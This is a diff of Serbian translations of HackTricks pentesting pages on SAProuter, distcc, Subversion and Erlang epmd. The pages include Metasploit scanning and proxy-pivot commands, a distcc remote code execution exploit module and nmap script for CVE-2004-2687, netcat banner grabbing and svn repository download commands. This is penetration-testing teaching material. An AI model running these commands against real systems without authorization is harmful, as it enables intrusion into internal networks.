* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,64 +1,64 @@
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}
```text
PORT STATE SERVICE VERSION
3299/tcp open saprouter?
```
Ovo je sažetak posta sa [https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/](https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/)
This is a summary of the post from [https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/](https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/)
## Razumevanje penetracije SAProuter-a sa Metasploit-om
## Razumevanje prodiranja SAProuter-a pomoću Metasploita
SAProuter deluje kao obrnuti proxy za SAP sisteme, prvenstveno za kontrolu pristupa između interneta i unutrašnjih SAP mreža. Obično je izložen internetu omogućavanjem TCP porta 3299 kroz organizacione vatrozidove. Ova postavka čini SAProuter privlačnom metom za pentesting jer može poslužiti kao prolaz ka mrežama visoke vrednosti.
SAProuter deluje kao reverzni proxy za SAP sisteme, uglavnom kako bi kontrolisao pristup između interneta i internih SAP mreža. Često je izložen internetu omogućavanjem TCP porta 3299 kroz organizacione firewall-ove. Ova konfiguracija čini SAProuter privlačnom metom za testiranje prodiranja jer može služiti kao ulaz u internu mrežu visoke vrednosti.
**Skener i prikupljanje informacija**
**Skeniranje i prikupljanje informacija**
Prvo se vrši skeniranje kako bi se utvrdilo da li se na određenoj IP adresi izvršava SAP router koristeći modul **sap_service_discovery**. Ovaj korak je ključan za utvrđivanje prisustva SAP routera i otvorenog porta.
U početku se vrši skeniranje kako bi se utvrdilo da li SAP router radi na datoj IP adresi koristeći **sap_service_discovery** modul. Ovaj korak je ključan za utvrđivanje prisustva SAP router-a i njegovog otvorenog porta.
```text
msf> use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
msf auxiliary(sap_service_discovery) > run
```
Nakon otkrića, vrši se dalja istraga konfiguracije SAP rutera pomoću modula **sap_router_info_request** kako bi se potencijalno otkrili detalji interne mreže.
Nakon otkrića, vrši se dalja istraga konfiguracije SAP rutera pomoću **sap_router_info_request** modula kako bi se potencijalno otkrili detalji interne mreže.
```text
msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
msf auxiliary(sap_router_info_request) > run
```
**Nabrajanje internih usluga**
**Enumerating Internal Services**
Sa dobijenim uvidom u internu mrežu, modul **sap_router_portscanner** se koristi za ispitivanje internih računara i usluga putem SAPrutera, omogućavajući dublje razumevanje internih mreža i konfiguracija usluga.
Sa dobijenim uvidima u unutrašnju mrežu, **sap_router_portscanner** modul se koristi za ispitivanje unutrašnjih hostova i usluga putem SAProuter-a, omogućavajući dublje razumevanje unutrašnjih mreža i konfiguracija usluga.
```text
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
```
Ova modulova fleksibilnost u ciljanju određenih SAP instanci i portova čini ga efikasnim alatom za detaljno istraživanje interne mreže.
Ova fleksibilnost modula u ciljanju specifičnih SAP instanci i portova čini ga efikasnim alatom za detaljno istraživanje interne mreže.
**Napredno nabrojavanje i mapiranje ACL-a**
**Napredno enumerisanje i mapiranje ACL-a**
Dalje skeniranje može otkriti kako su konfigurisane Access Control List (ACL) na SAProuter-u, detaljno opisujući koje veze su dozvoljene ili blokirane. Ove informacije su ključne za razumevanje sigurnosnih politika i potencijalnih ranjivosti.
Dalje skeniranje može otkriti kako su liste za kontrolu pristupa (ACL) konfigurisane na SAProuter-u, detaljno prikazujući koje su veze dozvoljene ili blokirane. Ove informacije su ključne za razumevanje bezbednosnih politika i potencijalnih ranjivosti.
```text
msf auxiliary(sap_router_portscanner) > set MODE TCP
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
```
**Slepo nabrojavanje unutrašnjih računara**
**Blind Enumeration of Internal Hosts**
U scenarijima gde je direktna informacija od SAPrutera ograničena, mogu se primeniti tehnike slepog nabrojavanja. Ovaj pristup pokušava da pogodi i potvrdi postojanje unutrašnjih imena računara, otkrivajući potencijalne mete bez direktnih IP adresa.
U scenarijima gde su direktne informacije iz SAProuter-a ograničene, tehnike poput slepe enumeracije mogu se primeniti. Ovaj pristup pokušava da pogodi i verifikuje postojanje internih imena hostova, otkrivajući potencijalne mete bez direktnih IP adresa.
**Iskorišćavanje informacija za testiranje prodiranja**
**Leveraging Information for Penetration Testing**
Nakon što je mreža mapirana i identifikovane su dostupne usluge, testeri prodiranja mogu koristiti sposobnosti proxy-ja u Metasploit-u za prelazak preko SAPrutera radi daljeg istraživanja i iskorišćavanja internih SAP usluga.
Nakon što su mapirali mrežu i identifikovali dostupne usluge, pen-testeri mogu iskoristiti proxy mogućnosti Metasploit-a da se prebacuju kroz SAProuter za dalju eksploraciju i eksploataciju internih SAP usluga.
```text
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
@ -66,10 +66,9 @@ msf auxiliary(sap_hostctrl_getcomputersystem) > run
```
**Zaključak**
Ovaj pristup ističe važnost sigurnih konfiguracija SAProuter-a i ističe mogućnost pristupa internim mrežama putem ciljanog testiranja prodiranja. Pravilno osiguravanje SAP router-a i razumevanje njihove uloge u arhitekturi mrežne sigurnosti ključno je za zaštitu od neovlašćenog pristupa.
Za detaljnije informacije o Metasploit modulima i njihovoj upotrebi, posetite [Rapid7 bazu podataka](http://www.rapid7.com/db).
Ovaj pristup naglašava važnost sigurnih konfiguracija SAProuter-a i ističe potencijal za pristup unutrašnjim mrežama kroz ciljani pentesting. Pravilno osiguranje SAP rutera i razumevanje njihove uloge u arhitekturi mrežne sigurnosti je ključno za zaštitu od neovlašćenog pristupa.
Za detaljnije informacije o Metasploit modulima i njihovoj upotrebi, posetite [Rapid7-ovu bazu podataka](http://www.rapid7.com/db).
## **Reference**
@ -81,16 +80,17 @@ Za detaljnije informacije o Metasploit modulima i njihovoj upotrebi, posetite [R
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje trikove hakovanja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Osnovne Informacije
# Osnovne informacije
**Distcc** je alat koji poboljšava **proces kompilacije** koristeći **neiskorišćenu procesorsku snagu** drugih računara u mreži. Kada se **distcc** postavi na mašinu, ta mašina je sposobna da distribuira svoje **kompilacione zadatke** drugom sistemu. Taj sistem primaoc mora imati pokrenut **distccd daemon** i mora imati instaliran **kompatibilni kompajler** za obradu poslatog koda.
**Distcc** je alat koji poboljšava **proces kompajliranja** koristeći **neiskorišćenu procesorsku snagu** drugih računara u mreži. Kada je **distcc** postavljen na mašini, ova mašina može da distribuira svoje **zadace kompajliranja** drugom sistemu. Ovaj prijemni sistem mora da pokreće **distccd daemon** i mora imati instaliran **kompatibilan kompajler** da bi obradio poslati kod.
**Podrazumevani port:** 3632
```
@ -24,33 +25,34 @@ PORT STATE SERVICE
```
# Eksploatacija
Proverite da li je ranjiv na **CVE-2004-2687** kako biste izvršili proizvoljni kod:
Proverite da li je ranjiv na **CVE-2004-2687** za izvršavanje proizvoljnog koda:
```bash
msf5 > use exploit/unix/misc/distcc_exec
nmap -p 3632 <ip> --script distcc-cve2004-2687 --script-args="distcc-exec.cmd='id'"
```
# Shodan
_Ne mislim da Shodan detektuje ovu uslugu._
_Ne mislim da shodan detektuje ovu uslugu._
# Resursi
# Resources
* [https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec](https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec)
* [https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855](https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855)
Post kreirao **Álex B (@r1p)**
Post created by **Álex B (@r1p)**
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,146 +1,50 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje trikove hakovanja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Osnovne informacije
**Subversion** je centralizovani **sistem za kontrolu verzija** koji igra ključnu ulogu u upravljanju trenutnim i istorijskim podacima projekata. Kao **open source** alat, radi pod **Apache licencom**. Ovaj sistem je široko priznat zbog svojih mogućnosti u **verzioniranju softvera i kontrolisanju revizija**, što omogućava korisnicima da efikasno prate promene tokom vremena.
**Subversion** je centralizovani **sistem za kontrolu verzija** koji igra ključnu ulogu u upravljanju kako trenutnim, tako i istorijskim podacima projekata. Kao **alat otvorenog koda**, funkcioniše pod **Apache licencom**. Ovaj sistem je široko priznat zbog svojih mogućnosti u **verzionisanju softvera i kontroli revizija**, osiguravajući da korisnici mogu efikasno pratiti promene tokom vremena.
**Podrazumevani port:** 3690
```
PORT STATE SERVICE
3690/tcp open svnserve Subversion
```
## Banner Grabbing
Banner Grabbing (prepoznavanje banera) je tehnika koja se koristi za prikupljanje informacija o ciljnom SVN serveru. Ova tehnika omogućava hakeru da sazna verziju softvera koji se koristi na serveru, kao i druge korisne informacije koje mogu biti iskorišćene za dalje napade.
Da biste izvršili banner grabbing, možete koristiti alate kao što su `telnet` ili `nc` (netcat). Ovi alati omogućavaju vam da se povežete sa SVN serverom i zatražite informacije o baneru.
Na primer, možete koristiti sledeću komandu za banner grabbing:
```bash
$ telnet <adresa_svn_servera> <port>
```
Nakon uspešne konekcije, server će vam prikazati baner koji sadrži informacije o verziji softvera i drugim detaljima. Ove informacije mogu biti korisne za dalje istraživanje i napade na server.
Važno je napomenuti da banner grabbing može biti ilegalna aktivnost ako se izvodi bez dozvole vlasnika servera. Uvek se pridržavajte zakona i etičkih smernica prilikom izvođenja bilo kakvih hakeraških aktivnosti.
## Prikupljanje banera
```
nc -vn 10.10.10.10 3690
```
## Enumeracija
### Prepoznavanje SVN servera
Da biste započeli testiranje penetracije na SVN serveru, prvo morate identifikovati da li je server dostupan i koji je softver za upravljanje verzijama u upotrebi. Evo nekoliko načina za prepoznavanje SVN servera:
#### 1. Pretraga DNS-a
Prva metoda je pretraga DNS-a kako biste pronašli informacije o SVN serveru. Možete koristiti alate poput `nslookup` ili `dig` kako biste pronašli DNS zapis za SVN server.
```markdown
nslookup svn.example.com
```
#### 2. Skeniranje portova
Drugi način je skeniranje portova kako biste pronašli otvorene portove na ciljnom sistemu. Možete koristiti alate poput `nmap` kako biste skenirali portove i identifikovali otvorene portove koji se koriste za SVN komunikaciju.
```markdown
nmap -p 3690 svn.example.com
```
### Identifikacija verzije SVN servera
Nakon što ste identifikovali SVN server, sledeći korak je identifikacija verzije softvera za upravljanje verzijama koji se koristi. Ovo je važno jer različite verzije mogu imati poznate ranjivosti koje se mogu iskoristiti tokom testiranja penetracije.
#### 1. HTTP metoda OPTIONS
Jedan od načina za identifikaciju verzije SVN servera je korišćenje HTTP metode OPTIONS. Možete koristiti alat poput `curl` kako biste poslali HTTP zahtev OPTIONS na SVN server.
```markdown
curl -X OPTIONS http://svn.example.com
```
#### 2. Pregled HTML izvora
Još jedan način je pregled HTML izvora SVN servera. Možete koristiti alat poput `curl` kako biste preuzeli HTML izvor stranice SVN servera i pregledali ga kako biste pronašli informacije o verziji.
```markdown
curl http://svn.example.com
```
### Pretraga SVN repozitorijuma
Nakon što ste identifikovali SVN server i verziju softvera, sledeći korak je pretraga repozitorijuma kako biste pronašli informacije o projektima, korisnicima i drugim relevantnim podacima.
#### 1. SVN logovi
Jedan od načina je pretraga SVN logova kako biste pronašli informacije o projektima i korisnicima. Možete koristiti alat poput `svn log` kako biste preuzeli logove sa SVN servera.
```markdown
svn log svn://svn.example.com
```
#### 2. Pretraga metapodataka
Još jedan način je pretraga metapodataka repozitorijuma kako biste pronašli informacije o projektima i korisnicima. Možete koristiti alat poput `svn propget` kako biste preuzeli metapodatke sa SVN servera.
```markdown
svn propget svn:author svn://svn.example.com
```
### Snimanje saobraćaja SVN servera
Kada ste identifikovali SVN server i prikupili informacije o repozitorijumima, možete snimiti saobraćaj koji se odvija između klijenta i servera. Ovo vam može pomoći da analizirate saobraćaj i pronađete potencijalne ranjivosti ili otkrijete osetljive informacije.
#### 1. Snimanje saobraćaja sa Wiresharkom
Jedan od načina je snimanje saobraćaja sa alatom poput Wiresharka. Možete postaviti filter za SVN protokol kako biste snimili samo relevantni saobraćaj.
```markdown
tcp.port == 3690
```
#### 2. Analiza snimljenog saobraćaja
Nakon što ste snimili saobraćaj, možete ga analizirati kako biste pronašli potencijalne ranjivosti ili otkrili osetljive informacije. Možete koristiti alate poput Wiresharka ili Tcpdumpa za analizu snimljenog saobraćaja.
```markdown
wireshark captured_traffic.pcap
```
### Zaključak
Enumeracija je važan korak u testiranju penetracije na SVN serveru. Identifikacija servera, verzije softvera i pretraga repozitorijuma mogu vam pružiti korisne informacije za dalje testiranje. Snimanje saobraćaja takođe može biti korisno za analizu i otkrivanje ranjivosti.
```bash
svn ls svn://10.10.10.203 #list
svn log svn://10.10.10.203 #Commit history
svn checkout svn://10.10.10.203 #Download the repository
svn up -r 2 #Go to revision 2 inside the checkout folder
```
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Osnovne informacije
**Erlang Port Mapper Daemon (epmd)** služi kao koordinator za distribuirane Erlang instance. On je odgovoran za mapiranje simboličkih imena čvorova na mašinske adrese, osiguravajući da je svako ime čvora povezano sa određenom adresom. Ova uloga **epmd**-a je ključna za besprekornu interakciju i komunikaciju između različitih Erlang čvorova preko mreže.
**Erlang Port Mapper Daemon (epmd)** služi kao koordinator za distribuirane Erlang instance. Odgovoran je za mapiranje simboličnih imena čvorova na mašinske adrese, suštinski osiguravajući da je svako ime čvora povezano sa specifičnom adresom. Ova uloga **epmd** je ključna za nesmetanu interakciju i komunikaciju između različitih Erlang čvorova u mreži.
**Podrazumevani port**: 4369
```
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
```
Ovo se podrazumevano koristi na instalacijama RabbitMQ i CouchDB.
Ovo se koristi po defaultu na RabbitMQ i CouchDB instalacijama.
# Enumeracija
@ -36,23 +37,7 @@ apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses
```
## Automatsko
Automatsko otkrivanje Erlang Port Mapper Daemon (EPMD) može biti korisno prilikom pentestiranja mrežnih usluga. EPMD je servis koji se koristi za upravljanje i mapiranje Erlang procesa na mreži. Ovaj servis je zadužen za registraciju Erlang čvorova i omogućava komunikaciju između njih.
Da biste automatski otkrili EPMD, možete koristiti alat poput Nmap-a. Nmap je popularan alat za skeniranje mreže koji može otkriti otvorene portove i identifikovati servise koji rade na tim portovima.
Kada koristite Nmap za otkrivanje EPMD-a, možete koristiti sledeću komandu:
```
nmap -p 4369 <cilj>
```
Ova komanda će skenirati ciljni sistem i proveriti da li je port 4369 otvoren. Ako je port otvoren, to ukazuje na to da je EPMD aktivan na ciljnom sistemu.
